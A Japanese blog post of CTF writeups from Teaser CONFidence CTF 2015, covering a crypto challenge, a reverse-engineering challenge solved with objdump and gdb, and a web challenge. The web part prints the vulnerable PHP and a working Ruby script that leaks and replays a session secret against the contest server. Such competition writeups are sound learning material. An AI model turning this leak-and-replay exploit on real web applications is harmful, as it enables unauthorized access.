読者です 読者をやめる 読者になる 読者になる

しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

Teaser CONFidence CTF 2015 writeup

CTF writeup(まとめ)

Teaser CONFidence CTF 2015に参加しました(`・ω・´)

2問解いて150ptの77位でした。 へぼい(*´ω`*)

quineは解析は終わらせていたものの、EIPを取る方法を考えている間にタイムオーバーorz


Power level (Cryptography:50pt)

総当たりで解いた(コードが汚すぎるのでsolverは不掲載←)が、平文の候補が複数あった。
"SoManySoEasy"の後が16進になるようなパターンを選んでsubmitしてみたら通った。
平文が一意に定まるための情報が足らず、ちと不親切な問題(´・ω・`)

FLAG:DrgnS{SoManySoEasyafa56ba19cfd816e3e973eafc91ab34e}

So easy (Reverse Engineering:100pt)

Cに直すとこんな感じ。

char buf[];  //0x0804b080

int main(){
    char *result;

    puts("Please enter secret flag:");
    if(scanf("%31s", buf) == 1){
        /*大文字と小文字を入れ替える*/
        //(コードは省略)

        result = "Nope.\n";
        if(strcmp("dRGNs{tHISwASsOsIMPLE}, buf") == 0){
            result = "Excellent Work!\n";
        }
        printf("Result: %s\n", result);
    }

    return 0;
}

簡単だー♪ と喜んだのもつかの間……

$ ./re_100_final
Please enter secret flag:
DrgnS{ThisWasSoSimple}
Nope!

出力されるはずの"Result"が出てこない上、main関数にない"Nope!"という文字列が出てきている。
"DrgnS{ThisWasSoSimple}"をsubmitしても通らない。

main関数の後に何かやってるのかなー、と思いながらobjdumpの出力を眺めていると、

 80485b0:       55                      push   ebp
 80485b1:       89 e5                   mov    ebp,esp
 80485b3:       a1 a4 b0 04 08          mov    eax,ds:0x804b0a4
 80485b8:       83 c0 28                add    eax,0x28
 80485bb:       c7 00 56 00 00 00       mov    DWORD PTR [eax],0x56
 80485c1:       5d                      pop    ebp
 80485c2:       c3                      ret
 80485c3:       55                      push   ebp
 80485c4:       89 e5                   mov    ebp,esp
 80485c6:       a1 a4 b0 04 08          mov    eax,ds:0x804b0a4
 80485cb:       83 c0 40                add    eax,0x40
 80485ce:       c7 00 4d 00 00 00       mov    DWORD PTR [eax],0x4d
 80485d4:       5d                      pop    ebp
 80485d5:       c3                      ret
 80485d6:       55                      push   ebp
 80485d7:       89 e5                   mov    ebp,esp
 80485d9:       a1 a4 b0 04 08          mov    eax,ds:0x804b0a4
 80485de:       83 c0 18                add    eax,0x18
 80485e1:       c7 00 6e 00 00 00       mov    DWORD PTR [eax],0x6e
 80485e7:       5d                      pop    ebp
 80485e8:       c3                      ret
(以下略)

何やら文字列を作ってるっぽい怪しい関数を発見。

ということで、exit関数にブレークポイントを張って0x804b0a4の指すアドレスの周辺を見てみる。

(gdb) x/30wx 0x804c000
0x804c000:      0x00000000      0x00000089      0x00000064      0x00000052
0x804c010:      0x00000047      0x0000004e      0x00000073      0x0000007b
0x804c020:      0x0000006e      0x0000004f      0x00000054      0x00000065
0x804c030:      0x00000056      0x00000045      0x0000004e      0x00000077
0x804c040:      0x00000041      0x00000052      0x0000004d      0x00000045
0x804c050:      0x00000044      0x00000075      0x00000050      0x0000007d
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000

0x00000089は見なかったことにして残りの値を文字に直すと、
"dRGNs{nOTeVENwARMEDuP}"という文字列が出てきた。
これの大文字と小文字を入れ替えたものがflag。

FLAG:DrgnS{NotEvenWarmedUp}

Practical Numerology (Web:300pt)

CTF中は解けなかったが、writeup読んで「なるほどー」って感じだったので解いてみた。

<?php

function generate_secret()
{
    $f = fopen('/dev/urandom','rb');
    $secret1 = fread($f,32);
    $secret2 = fread($f,32);
    fclose($f);
    
    return sha1($secret1).sha1($secret2);
}

session_start();

if(!isset($_SESSION['secret']))
    $_SESSION['secret'] = generate_secret();
    
if(!isset($_POST['guess']))
{
    echo 'Wanna play lotto? Just try to guess 320 bits.<br/><br/>'.PHP_EOL;
    highlight_file(__FILE__);
    exit;
}

$guess = $_POST['guess'];

if($guess === $_SESSION['secret'])
{
    $flag = require('flag.php');
    exit('Lucky bastard! You won the flag! ' . $flag);
}
//else...
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";

$_SESSION['secret'] = generate_secret();
  1. $_POST['guess'] === $_SESSION['secret']ならフラグを出力して終了
  2. 違う場合は$_SESSION['secret']$_POST['guess']を出力
  3. $_SESSION['secret']を更新

という処理を行う仕様になっている。

  1. guessに大きなデータを入れてPOST
  2. サーバが$_SESSION['secret']$_POST['guess']の出力を開始するが、
    $_SESSION['secret']だけ受信
  3. サーバががんばって$_POST['guess']をせこせこ出力している間に、
    別のコネクションから2.で受信した$_SESSION['secret']をPOST

という手順で攻略できる。

RubyNet::HTTPだと「途中まで受信し、コネクションを残しておく」みたいなことができなさそうな気がした(未確認)ので、生HTTP書いた。

require_relative "../pwnlib"

host = "134.213.136.172"
key = ""

t1 = Thread.new{
    tube = PwnTube.open(host, 80)
    body = "guess=#{"a" * 500000}"
    payload = ""
    payload << "POST / HTTP/1.1\r\n"
    payload << "Host: #{host}\r\n"
    payload << "Content-Type: application/x-www-form-urlencoded\r\n"
    payload << "Cookie: PHPSESSID=hoge\r\n"
    payload << "Content-Length: #{body.length}\r\n"
    payload << "\r\n"
    payload << body + "\r\n"

    tube.send(payload)

    # $_SESSION['secret']の部分まで受信
    key = tube.recv_until(/Wrong! '[0-9a-f]+'/).match(/Wrong! '([0-9a-f]+)'/).captures[0]
    puts "key = #{key}"
}

t2 = Thread.new(){
    while true
        if key != ""
            PwnTube.open(host, 80){|tube|
                body = "guess=#{key}"
                payload = ""
                payload << "POST / HTTP/1.1\r\n"
                payload << "Host: #{host}\r\n"
                payload << "Content-Type: application/x-www-form-urlencoded\r\n"
                payload << "Cookie: PHPSESSID=hoge\r\n"
                payload << "Content-Length: #{body.length}\r\n"
                payload << "\r\n"
                payload << body + "\r\n"

                tube.send(payload)

                puts tube.recv
            }
            break
        end
    end
}

[t1, t2].each{|t| t.join}
$ ruby web300.rb
[*] connected
key = 39379cab62c5cd2e7db48d9756bf9b87f9dd7962c9b7185f2394f67f482ace9240ff4edba6969d15
[*] connected
HTTP/1.1 200 OK

Date: Mon, 27 Apr 2015 02:31:45 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.9

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 72

Content-Type: text/html



Lucky bastard! You won the flag! DrgnS{JustThinkOutOfTheBoxSometimes...}
[*] connection closed

FLAG:DrgnS{JustThinkOutOfTheBoxSometimes...}